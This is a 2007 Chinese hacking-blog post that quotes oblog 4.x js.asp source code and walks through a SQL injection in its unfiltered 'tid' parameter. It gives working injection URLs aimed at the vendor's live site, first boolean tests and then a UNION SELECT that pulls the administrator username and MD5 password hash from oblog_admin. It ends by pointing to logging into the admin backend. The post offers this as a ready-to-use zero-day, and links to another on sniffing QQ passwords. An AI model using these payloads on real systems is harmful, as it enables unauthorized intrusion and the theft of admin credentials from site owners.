幻影安全网

幻影安全网
« 上一篇: 网吧内嗅探MM的QQ号及密码 下一篇: oblog4.0&4.5漏洞临时补丁 »
huanying @ 2007-06-02 22:06

描述:1
图片:


描述:2
图片:
 
BY 冬哥 QQ 12310789 因 图片过多,上传一次没成功,就发布上来 第一张 和最后一张吧~哎 本站访问越来越慢了


<!--#include file="conn.asp"-->
<!--#include file="inc/class_sys.asp"-->
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request("n"))
if n=0 then n=1
select case CInt(Request("j"))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request("tid")
postnum=n
l=CInt(Request("l"))
u=CInt(Request("u"))
t=CInt(Request("t"))
Dim rs,sql,sRet,sAddon
Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "
If teamid<>"" And teamid<>"0" Then
  teamid=Replace(teamid,"|",",")
  Sql=Sql & " And teamid In (" & teamid & ") "
End If
Sql=Sql & " Order by postid Desc"
Set rs=oblog.Execute(Sql)
sRet="<ul>"
Do While Not rs.Eof
  sAddon=""
  sRet=sRet & "<li><a href="""&js_blogurl&"group.asp?gid=" & rs(0) & "&pid=" & rs(1) & """ target=""_blank"">" & oblog.Filt_html(Left(rs(2),l)) & "</a>"
  If u=1 Then sAddon=rs(4)
  if t=1 Then
    If sAddon<>"" Then sAddon=sAddon & ","
    sAddon=sAddon & rs(3)
  End If
  If sAddon<>"" Then sAddon="(" & sAddon & ")"
  sRet=sRet & sAddon & "</li>"
  rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & "</ul>"
Response.write oblog.htm2js (sRet,True)
End Sub

很明显就看到TID没有经过过滤就直接递交给TEAMID了 TEAMID只过滤了"|" 就直接进SQL语句了,对我们的注入没多大影响.

下面拿官方来测试.

地址:http://www.oblog.com.cn/index.html

直接进入js.asp页 要调用show_posts()过程必须要符合上面的参数n=1,j=13

懂ASP的就很容易看懂了,开始注咯,要注意的只是(" & teamid & ")两边的括号

很容易就能闭合他协调回SQL语句了,下面就开始测试注入是否存在了

1 提交http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1 如图1

2 加个单引号试试.

3http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常

4http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常

5 细看就能看出 异常的时候没有黑点的.真骚

下面就可以猜管理员表了

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1

自己慢慢猜就可以了

Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 "

后面我发现可以直接用UNION暴帐号密码,下面就来试试

先看看他的SQL语句有几个字段, 一共SELECT了6个 那么提交

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1

怎么没有像其他UNION查询的回显数字呢? 其实一切就在源文件里

打开源文件就能发现

document.write('<ul><li><a href="http://www.oblog.com.cn/group.asp?gid=1&pid=2" target="_blank"></a></li></ul>');

gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password

6提交http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1

查看源文件,gid后面的就是管理员帐号 pid后面的就是管理员的MD5密码了

7 后面就不说了,登陆后台,呵呵!BY 冬哥 QQ 12310789



评论 / 个人网页 / 扔小纸条
*昵称

已经注册过? 请登录

Email
网址
*评论
 


 
网志分类
· 所有网志 (9) · QQ相关 (2) · 最新0day (2) · 共享资源 (0) · 黑客信息 (1) · 游戏天下 (2) · 娱乐资源 (2) ·